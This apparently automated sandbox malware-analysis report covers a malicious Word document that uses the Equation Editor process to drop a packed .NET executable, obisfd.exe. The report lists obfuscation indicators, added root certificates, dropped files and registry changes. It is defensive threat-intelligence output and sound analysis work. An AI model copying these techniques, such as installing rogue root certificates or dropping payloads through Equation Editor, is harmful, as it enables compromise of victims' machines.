Source: C:\Users\user\AppData\Roaming\obisfd.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32 Jump to behavior
Source: PO.LNK.0.dr LNK file: ..\..\..\..\..\Desktop\PO.doc
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\obisfd.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: kdcB.pdbSHA256 source: EQNEDT32.EXE, 00000002.00000002.397637969.000000000063F000.00000004.00000020.00020000.00000000.sdmp, 6FfzLi8FyhIIqWu[1].exe.2.dr, obisfd.exe.2.dr
Source: Binary string: kdcB.pdb source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.397637969.000000000063F000.00000004.00000020.00020000.00000000.sdmp, 6FfzLi8FyhIIqWu[1].exe.2.dr, obisfd.exe.2.dr

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 6FfzLi8FyhIIqWu[1].exe.2.dr, Form1.cs .Net Code: InitializeComponent contains xor as well as GetObject
Source: obisfd.exe.2.dr, Form1.cs .Net Code: InitializeComponent contains xor as well as GetObject
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, V9JX8gvNK4hEI9Xqap.cs .Net Code: n3GdsxLZCD System.Reflection.Assembly.Load(byte[])
Source: 5.2.obisfd.exe.27e4724.2.raw.unpack, RZ.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, V9JX8gvNK4hEI9Xqap.cs .Net Code: n3GdsxLZCD System.Reflection.Assembly.Load(byte[])
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, V9JX8gvNK4hEI9Xqap.cs .Net Code: n3GdsxLZCD System.Reflection.Assembly.Load(byte[])
Source: 5.2.obisfd.exe.480000.0.raw.unpack, RZ.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00648F60 push eax; retf 2_2_00648F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00651448 push ecx; retf 003Dh 2_2_00651449
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00654126 push edx; ret 2_2_00654127
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_0065412E push edx; ret 2_2_0065412F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_00651005 push ecx; retf 003Dh 2_2_00651011
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_006401F4 push eax; retf 2_2_006401F5
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002C48DC push eax; retf 5_2_002C4939
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002CB92E pushfd ; retf 001Ch 5_2_002CB92F
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 5_2_002C8B47 pushad ; iretd 5_2_002C8B55
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_003021AD push ebx; iretd 7_2_003021EA
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_003021FD push ebx; iretd 7_2_003021EA
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_004F90F8 pushfd ; retn 004Dh 7_2_004F90F9
Source: 6FfzLi8FyhIIqWu[1].exe.2.dr Static PE information: section name: .text entropy: 7.985533302881442
Source: obisfd.exe.2.dr Static PE information: section name: .text entropy: 7.985533302881442
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, mm6tSkHBXiT9hApjPn.cs High entropy of concatenated method names: 'UxS4EUORUj', 'fQH4eZItGc', 'EiQA73H0hP', 'MmdAaIohye', 'G8K4vQhJSL', 'kCo4F4WUd9', 'sfX4fJKKEh', 'K9A45P7IBS', 'SaK49MAKae', 'WbJ4X9nA5P'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, WptP8nY308ucvUe10D4.cs High entropy of concatenated method names: 'bfBc61ZYFa', 'qvtcY4Zrwe', 'AGAcs5kDdd', 'GmwcDVHDqu', 'YqYctmTAgw', 'gfkcMRpWZZ', 's7ocUgFpat', 'KxTcHdkXah', 'iEWcQaM4iU', 'Rc8co1JJJd'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, QDA4wYAQtjtLDuMu1u.cs High entropy of concatenated method names: 'ed6AIbclgZ', 'efTA8EeHcJ', 'g0mAyX5JAR', 'FoKALNCQml', 'aA6APtHBnn', 'ovOA1IFQx8', 'K8ZArDBY68', 'EPYApIONqr', 'mvEAZqkwWA', 'TY1ANasOKR'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, Y0I6CkI3xEBkKXRjRu.cs High entropy of concatenated method names: 'FBh1Isd70j', 'FCD1y5vh6B', 'H7l1PTGNTf', 'Sk3PeABOE6', 'KQVPzQ6Ynf', 'VLY17jjmK0', 'AQ91aIdtbc', 'eMq1lFEngE', 'oX21Rxffeo', 'dKL1dUldyd'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, YMIMiHg8npgvZDB1j3.cs High entropy of concatenated method names: 'oVZAkjsgTR', 'MBWAgM2Gsa', 'eG0A3MpaQc', 'oXQAW4PB5M', 'VDPA55KDjj', 'VQbAT3ZeVi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, ixMUegJB669oosM1rc.cs High entropy of concatenated method names: 'qhgcaaujr7', 'byFcRdH8Fq', 'gFycdtWgNF', 'BZycIKlDca', 'QtYc8Kn8dF', 'YTXcLt3vXc', 'U3pcPfC1ye', 'N5SAwQLEVx', 'XLIAEbCRAM', 'OISAi0WmIP'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, CTFYYSwldjLLtdLFTJ.cs High entropy of concatenated method names: 'fgO85qhsVT', 'IEA89dMfFv', 'GTZ8XEjGGB', 'hoK8SlLafS', 'tUS8xN603L', 'i6U80faeV1', 'cKx8w8Q4cb', 'ltU8E9onNc', 'lYv8i0JlvO', 'k2d8eymfuK'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, nisEPcnW8SFm6Q8jGV.cs High entropy of concatenated method names: 'O8I16mvZD9', 'Qm31Y3iMjh', 'Hv61s6mK2m', 'XRG1DcssA3', 'MNh1t36X5i', 'E2K1MSG9E4', 'jUR1U4Wqr8', 'DBJ1HfjTew', 'H3C1QHZ96v', 'Ybm1omOvki'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, drVBwe0HB5eHSObKlH.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'oN6liKSs7E', 'OGOledTZ8a', 'GG6lzkQMU1', 'c3dR7ATRPF', 'wScRa8HfFy', 'ng0Rl0shel', 'TvqRRgEBTa', 'SOQeM6Fnlvh3BJDCI3A'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, RDvQApZfaEZ3ekZ6hi.cs High entropy of concatenated method names: 'ToString', 'TbIGvVhtld', 'uqOGgipZJi', 'PocG3k3kA9', 'GFCGWu861G', 'l1tGT41Uaj', 'u18GhRdLyA', 'sYcGB2FBE3', 'SfdGJMH52I', 'RwoGmKropx'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, GIvqWG73ShWIBwRXj9.cs High entropy of concatenated method names: 'PZKa1FZbeO', 'u2narsv7TE', 'qiGaZKiceD', 'tdNaN9c3P1', 'SGTajEVaKk', 'dAIaGlRwAw', 'MsYgUvjJIeSk5xKNAo', 'T0NsXNGiYRtDkjpVmT', 'sOEaaXU7wY', 'qMSaRS6XSa'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, a9D6tHXAVfLQ7AVvAh.cs High entropy of concatenated method names: 'lTIjukLRw2', 'kN0jFOxnNo', 'kRFj50PJSR', 'mPBj9aTjVa', 'IC6jgovihg', 'WV8j3cD8pJ', 'mJFjWMRiLb', 'fl4jTM6Mdx', 'HRZjhPZB24', 'J4KjBATO2s'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, LXDrUhKsbsaSdMig3u.cs High entropy of concatenated method names: 'OPZyD3UAjy', 'i75yMgkPHn', 'sMmyHcXLdH', 'GjJyQBMWQd', 'VPKyj9mUPr', 'JctyGwbVDI', 'e2ny4v6TSu', 'YcmyAalwbG', 'vdMycuFFJd', 'FrcyC6GDRS'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, V9JX8gvNK4hEI9Xqap.cs High entropy of concatenated method names: 'FIyRKHyJR1', 'hM2RIUXoZx', 'PSiR8a7umL', 'XhfRyJBTFP', 'ARCRLUKfoI', 'vm9RPnFoah', 'fg9R1dLMvI', 'mAGRrnihkU', 'VMtRp4qlZL', 'FMbRZBVBte'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, QVjhpwcQk0xIgItUxU.cs High entropy of concatenated method names: 'ExfqH6Ecbu', 'dULqQCZuDi', 'm9UqkZukWK', 'EEQqgY9cEc', 'hEJqW2agov', 'boKqTofQ4g', 'qAiqBXkPDl', 'llBqJjBR97', 'NsvquSm4Yw', 'yHtqvcDg9F'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, nuWOm92koeAgoyXSGZ.cs High entropy of concatenated method names: 'dxc6fbR9trHoKxZZu1k', 'TEuXWnRflFgmExBRCdO', 'L5OPAutpGf', 'R5MPcaMO0b', 'NPhPCDJcwl', 'mS18SrRbJ4IwiOons2F', 'xBYE4YRNbDGfimWUgIh'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, iQc3ChMdCJOJTr7QxW.cs High entropy of concatenated method names: 'UMts3tc6O', 'D7pDZ7QkB', 'i9MMOxNE6', 'VvsUd3jKp', 'dngQrkLnt', 'orroTtrdC', 'an9rxLqlcPikeyW33Y', 'meJGqB246S5snqtB8X', 'sAqA293U5', 'TJgCd9Iuq'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, Ik0n13sPA6S1MPxvXW.cs High entropy of concatenated method names: 'INFPKOe4yM', 'plPP8wtZqd', 'AuSPLeToWk', 'QFPP1fgNZL', 'V7KPr3BZTc', 's3oLxQOtg6', 'QlIL03bIyL', 'fQQLweeTg0', 'r8CLEYX9tV', 'iI7LidLL7P'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, tSHRJ9Ykvh9h1q7IY5g.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'u9qC5Gehl4', 'jxEC9TDkp8', 'XpWCXjdDNO', 't0rCSiZRGE', 'zL3CxSiVpn', 'DJeC0PwRqi', 'wUuCwYHxTo'
Source: 5.2.obisfd.exe.3a6cd50.6.raw.unpack, WJt0PY4tr3EXWlCgiy.cs High entropy of concatenated method names: 'Dispose', 'mfdaind5Q2', 'hyolgvCPxm', 'Lvb22g9wVe', 'YtdaewiR5E', 'iIwazEOTGn', 'ProcessDialogKey', 'NjKl79amdT', 'npelaPZbjW', 'OpCllD0FVI'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, mm6tSkHBXiT9hApjPn.cs High entropy of concatenated method names: 'UxS4EUORUj', 'fQH4eZItGc', 'EiQA73H0hP', 'MmdAaIohye', 'G8K4vQhJSL', 'kCo4F4WUd9', 'sfX4fJKKEh', 'K9A45P7IBS', 'SaK49MAKae', 'WbJ4X9nA5P'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, WptP8nY308ucvUe10D4.cs High entropy of concatenated method names: 'bfBc61ZYFa', 'qvtcY4Zrwe', 'AGAcs5kDdd', 'GmwcDVHDqu', 'YqYctmTAgw', 'gfkcMRpWZZ', 's7ocUgFpat', 'KxTcHdkXah', 'iEWcQaM4iU', 'Rc8co1JJJd'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, QDA4wYAQtjtLDuMu1u.cs High entropy of concatenated method names: 'ed6AIbclgZ', 'efTA8EeHcJ', 'g0mAyX5JAR', 'FoKALNCQml', 'aA6APtHBnn', 'ovOA1IFQx8', 'K8ZArDBY68', 'EPYApIONqr', 'mvEAZqkwWA', 'TY1ANasOKR'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, Y0I6CkI3xEBkKXRjRu.cs High entropy of concatenated method names: 'FBh1Isd70j', 'FCD1y5vh6B', 'H7l1PTGNTf', 'Sk3PeABOE6', 'KQVPzQ6Ynf', 'VLY17jjmK0', 'AQ91aIdtbc', 'eMq1lFEngE', 'oX21Rxffeo', 'dKL1dUldyd'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, YMIMiHg8npgvZDB1j3.cs High entropy of concatenated method names: 'oVZAkjsgTR', 'MBWAgM2Gsa', 'eG0A3MpaQc', 'oXQAW4PB5M', 'VDPA55KDjj', 'VQbAT3ZeVi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, ixMUegJB669oosM1rc.cs High entropy of concatenated method names: 'qhgcaaujr7', 'byFcRdH8Fq', 'gFycdtWgNF', 'BZycIKlDca', 'QtYc8Kn8dF', 'YTXcLt3vXc', 'U3pcPfC1ye', 'N5SAwQLEVx', 'XLIAEbCRAM', 'OISAi0WmIP'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, CTFYYSwldjLLtdLFTJ.cs High entropy of concatenated method names: 'fgO85qhsVT', 'IEA89dMfFv', 'GTZ8XEjGGB', 'hoK8SlLafS', 'tUS8xN603L', 'i6U80faeV1', 'cKx8w8Q4cb', 'ltU8E9onNc', 'lYv8i0JlvO', 'k2d8eymfuK'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, nisEPcnW8SFm6Q8jGV.cs High entropy of concatenated method names: 'O8I16mvZD9', 'Qm31Y3iMjh', 'Hv61s6mK2m', 'XRG1DcssA3', 'MNh1t36X5i', 'E2K1MSG9E4', 'jUR1U4Wqr8', 'DBJ1HfjTew', 'H3C1QHZ96v', 'Ybm1omOvki'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, drVBwe0HB5eHSObKlH.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'oN6liKSs7E', 'OGOledTZ8a', 'GG6lzkQMU1', 'c3dR7ATRPF', 'wScRa8HfFy', 'ng0Rl0shel', 'TvqRRgEBTa', 'SOQeM6Fnlvh3BJDCI3A'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, RDvQApZfaEZ3ekZ6hi.cs High entropy of concatenated method names: 'ToString', 'TbIGvVhtld', 'uqOGgipZJi', 'PocG3k3kA9', 'GFCGWu861G', 'l1tGT41Uaj', 'u18GhRdLyA', 'sYcGB2FBE3', 'SfdGJMH52I', 'RwoGmKropx'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, GIvqWG73ShWIBwRXj9.cs High entropy of concatenated method names: 'PZKa1FZbeO', 'u2narsv7TE', 'qiGaZKiceD', 'tdNaN9c3P1', 'SGTajEVaKk', 'dAIaGlRwAw', 'MsYgUvjJIeSk5xKNAo', 'T0NsXNGiYRtDkjpVmT', 'sOEaaXU7wY', 'qMSaRS6XSa'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, a9D6tHXAVfLQ7AVvAh.cs High entropy of concatenated method names: 'lTIjukLRw2', 'kN0jFOxnNo', 'kRFj50PJSR', 'mPBj9aTjVa', 'IC6jgovihg', 'WV8j3cD8pJ', 'mJFjWMRiLb', 'fl4jTM6Mdx', 'HRZjhPZB24', 'J4KjBATO2s'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, LXDrUhKsbsaSdMig3u.cs High entropy of concatenated method names: 'OPZyD3UAjy', 'i75yMgkPHn', 'sMmyHcXLdH', 'GjJyQBMWQd', 'VPKyj9mUPr', 'JctyGwbVDI', 'e2ny4v6TSu', 'YcmyAalwbG', 'vdMycuFFJd', 'FrcyC6GDRS'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, V9JX8gvNK4hEI9Xqap.cs High entropy of concatenated method names: 'FIyRKHyJR1', 'hM2RIUXoZx', 'PSiR8a7umL', 'XhfRyJBTFP', 'ARCRLUKfoI', 'vm9RPnFoah', 'fg9R1dLMvI', 'mAGRrnihkU', 'VMtRp4qlZL', 'FMbRZBVBte'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, QVjhpwcQk0xIgItUxU.cs High entropy of concatenated method names: 'ExfqH6Ecbu', 'dULqQCZuDi', 'm9UqkZukWK', 'EEQqgY9cEc', 'hEJqW2agov', 'boKqTofQ4g', 'qAiqBXkPDl', 'llBqJjBR97', 'NsvquSm4Yw', 'yHtqvcDg9F'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, nuWOm92koeAgoyXSGZ.cs High entropy of concatenated method names: 'dxc6fbR9trHoKxZZu1k', 'TEuXWnRflFgmExBRCdO', 'L5OPAutpGf', 'R5MPcaMO0b', 'NPhPCDJcwl', 'mS18SrRbJ4IwiOons2F', 'xBYE4YRNbDGfimWUgIh'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, iQc3ChMdCJOJTr7QxW.cs High entropy of concatenated method names: 'UMts3tc6O', 'D7pDZ7QkB', 'i9MMOxNE6', 'VvsUd3jKp', 'dngQrkLnt', 'orroTtrdC', 'an9rxLqlcPikeyW33Y', 'meJGqB246S5snqtB8X', 'sAqA293U5', 'TJgCd9Iuq'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, Ik0n13sPA6S1MPxvXW.cs High entropy of concatenated method names: 'INFPKOe4yM', 'plPP8wtZqd', 'AuSPLeToWk', 'QFPP1fgNZL', 'V7KPr3BZTc', 's3oLxQOtg6', 'QlIL03bIyL', 'fQQLweeTg0', 'r8CLEYX9tV', 'iI7LidLL7P'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, tSHRJ9Ykvh9h1q7IY5g.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'u9qC5Gehl4', 'jxEC9TDkp8', 'XpWCXjdDNO', 't0rCSiZRGE', 'zL3CxSiVpn', 'DJeC0PwRqi', 'wUuCwYHxTo'
Source: 5.2.obisfd.exe.4c10000.7.raw.unpack, WJt0PY4tr3EXWlCgiy.cs High entropy of concatenated method names: 'Dispose', 'mfdaind5Q2', 'hyolgvCPxm', 'Lvb22g9wVe', 'YtdaewiR5E', 'iIwazEOTGn', 'ProcessDialogKey', 'NjKl79amdT', 'npelaPZbjW', 'OpCllD0FVI'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, mm6tSkHBXiT9hApjPn.cs High entropy of concatenated method names: 'UxS4EUORUj', 'fQH4eZItGc', 'EiQA73H0hP', 'MmdAaIohye', 'G8K4vQhJSL', 'kCo4F4WUd9', 'sfX4fJKKEh', 'K9A45P7IBS', 'SaK49MAKae', 'WbJ4X9nA5P'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, WptP8nY308ucvUe10D4.cs High entropy of concatenated method names: 'bfBc61ZYFa', 'qvtcY4Zrwe', 'AGAcs5kDdd', 'GmwcDVHDqu', 'YqYctmTAgw', 'gfkcMRpWZZ', 's7ocUgFpat', 'KxTcHdkXah', 'iEWcQaM4iU', 'Rc8co1JJJd'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, QDA4wYAQtjtLDuMu1u.cs High entropy of concatenated method names: 'ed6AIbclgZ', 'efTA8EeHcJ', 'g0mAyX5JAR', 'FoKALNCQml', 'aA6APtHBnn', 'ovOA1IFQx8', 'K8ZArDBY68', 'EPYApIONqr', 'mvEAZqkwWA', 'TY1ANasOKR'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, Y0I6CkI3xEBkKXRjRu.cs High entropy of concatenated method names: 'FBh1Isd70j', 'FCD1y5vh6B', 'H7l1PTGNTf', 'Sk3PeABOE6', 'KQVPzQ6Ynf', 'VLY17jjmK0', 'AQ91aIdtbc', 'eMq1lFEngE', 'oX21Rxffeo', 'dKL1dUldyd'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, YMIMiHg8npgvZDB1j3.cs High entropy of concatenated method names: 'oVZAkjsgTR', 'MBWAgM2Gsa', 'eG0A3MpaQc', 'oXQAW4PB5M', 'VDPA55KDjj', 'VQbAT3ZeVi', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, ixMUegJB669oosM1rc.cs High entropy of concatenated method names: 'qhgcaaujr7', 'byFcRdH8Fq', 'gFycdtWgNF', 'BZycIKlDca', 'QtYc8Kn8dF', 'YTXcLt3vXc', 'U3pcPfC1ye', 'N5SAwQLEVx', 'XLIAEbCRAM', 'OISAi0WmIP'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, CTFYYSwldjLLtdLFTJ.cs High entropy of concatenated method names: 'fgO85qhsVT', 'IEA89dMfFv', 'GTZ8XEjGGB', 'hoK8SlLafS', 'tUS8xN603L', 'i6U80faeV1', 'cKx8w8Q4cb', 'ltU8E9onNc', 'lYv8i0JlvO', 'k2d8eymfuK'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, nisEPcnW8SFm6Q8jGV.cs High entropy of concatenated method names: 'O8I16mvZD9', 'Qm31Y3iMjh', 'Hv61s6mK2m', 'XRG1DcssA3', 'MNh1t36X5i', 'E2K1MSG9E4', 'jUR1U4Wqr8', 'DBJ1HfjTew', 'H3C1QHZ96v', 'Ybm1omOvki'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, drVBwe0HB5eHSObKlH.cs High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'oN6liKSs7E', 'OGOledTZ8a', 'GG6lzkQMU1', 'c3dR7ATRPF', 'wScRa8HfFy', 'ng0Rl0shel', 'TvqRRgEBTa', 'SOQeM6Fnlvh3BJDCI3A'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, RDvQApZfaEZ3ekZ6hi.cs High entropy of concatenated method names: 'ToString', 'TbIGvVhtld', 'uqOGgipZJi', 'PocG3k3kA9', 'GFCGWu861G', 'l1tGT41Uaj', 'u18GhRdLyA', 'sYcGB2FBE3', 'SfdGJMH52I', 'RwoGmKropx'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, GIvqWG73ShWIBwRXj9.cs High entropy of concatenated method names: 'PZKa1FZbeO', 'u2narsv7TE', 'qiGaZKiceD', 'tdNaN9c3P1', 'SGTajEVaKk', 'dAIaGlRwAw', 'MsYgUvjJIeSk5xKNAo', 'T0NsXNGiYRtDkjpVmT', 'sOEaaXU7wY', 'qMSaRS6XSa'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, a9D6tHXAVfLQ7AVvAh.cs High entropy of concatenated method names: 'lTIjukLRw2', 'kN0jFOxnNo', 'kRFj50PJSR', 'mPBj9aTjVa', 'IC6jgovihg', 'WV8j3cD8pJ', 'mJFjWMRiLb', 'fl4jTM6Mdx', 'HRZjhPZB24', 'J4KjBATO2s'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, LXDrUhKsbsaSdMig3u.cs High entropy of concatenated method names: 'OPZyD3UAjy', 'i75yMgkPHn', 'sMmyHcXLdH', 'GjJyQBMWQd', 'VPKyj9mUPr', 'JctyGwbVDI', 'e2ny4v6TSu', 'YcmyAalwbG', 'vdMycuFFJd', 'FrcyC6GDRS'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, V9JX8gvNK4hEI9Xqap.cs High entropy of concatenated method names: 'FIyRKHyJR1', 'hM2RIUXoZx', 'PSiR8a7umL', 'XhfRyJBTFP', 'ARCRLUKfoI', 'vm9RPnFoah', 'fg9R1dLMvI', 'mAGRrnihkU', 'VMtRp4qlZL', 'FMbRZBVBte'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, QVjhpwcQk0xIgItUxU.cs High entropy of concatenated method names: 'ExfqH6Ecbu', 'dULqQCZuDi', 'm9UqkZukWK', 'EEQqgY9cEc', 'hEJqW2agov', 'boKqTofQ4g', 'qAiqBXkPDl', 'llBqJjBR97', 'NsvquSm4Yw', 'yHtqvcDg9F'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, nuWOm92koeAgoyXSGZ.cs High entropy of concatenated method names: 'dxc6fbR9trHoKxZZu1k', 'TEuXWnRflFgmExBRCdO', 'L5OPAutpGf', 'R5MPcaMO0b', 'NPhPCDJcwl', 'mS18SrRbJ4IwiOons2F', 'xBYE4YRNbDGfimWUgIh'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, iQc3ChMdCJOJTr7QxW.cs High entropy of concatenated method names: 'UMts3tc6O', 'D7pDZ7QkB', 'i9MMOxNE6', 'VvsUd3jKp', 'dngQrkLnt', 'orroTtrdC', 'an9rxLqlcPikeyW33Y', 'meJGqB246S5snqtB8X', 'sAqA293U5', 'TJgCd9Iuq'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, Ik0n13sPA6S1MPxvXW.cs High entropy of concatenated method names: 'INFPKOe4yM', 'plPP8wtZqd', 'AuSPLeToWk', 'QFPP1fgNZL', 'V7KPr3BZTc', 's3oLxQOtg6', 'QlIL03bIyL', 'fQQLweeTg0', 'r8CLEYX9tV', 'iI7LidLL7P'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, tSHRJ9Ykvh9h1q7IY5g.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'u9qC5Gehl4', 'jxEC9TDkp8', 'XpWCXjdDNO', 't0rCSiZRGE', 'zL3CxSiVpn', 'DJeC0PwRqi', 'wUuCwYHxTo'
Source: 5.2.obisfd.exe.38c2d10.3.raw.unpack, WJt0PY4tr3EXWlCgiy.cs High entropy of concatenated method names: 'Dispose', 'mfdaind5Q2', 'hyolgvCPxm', 'Lvb22g9wVe', 'YtdaewiR5E', 'iIwazEOTGn', 'ProcessDialogKey', 'NjKl79amdT', 'npelaPZbjW', 'OpCllD0FVI'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\6FfzLi8FyhIIqWu[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\obisfd.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\obisfd.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\obisfd.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
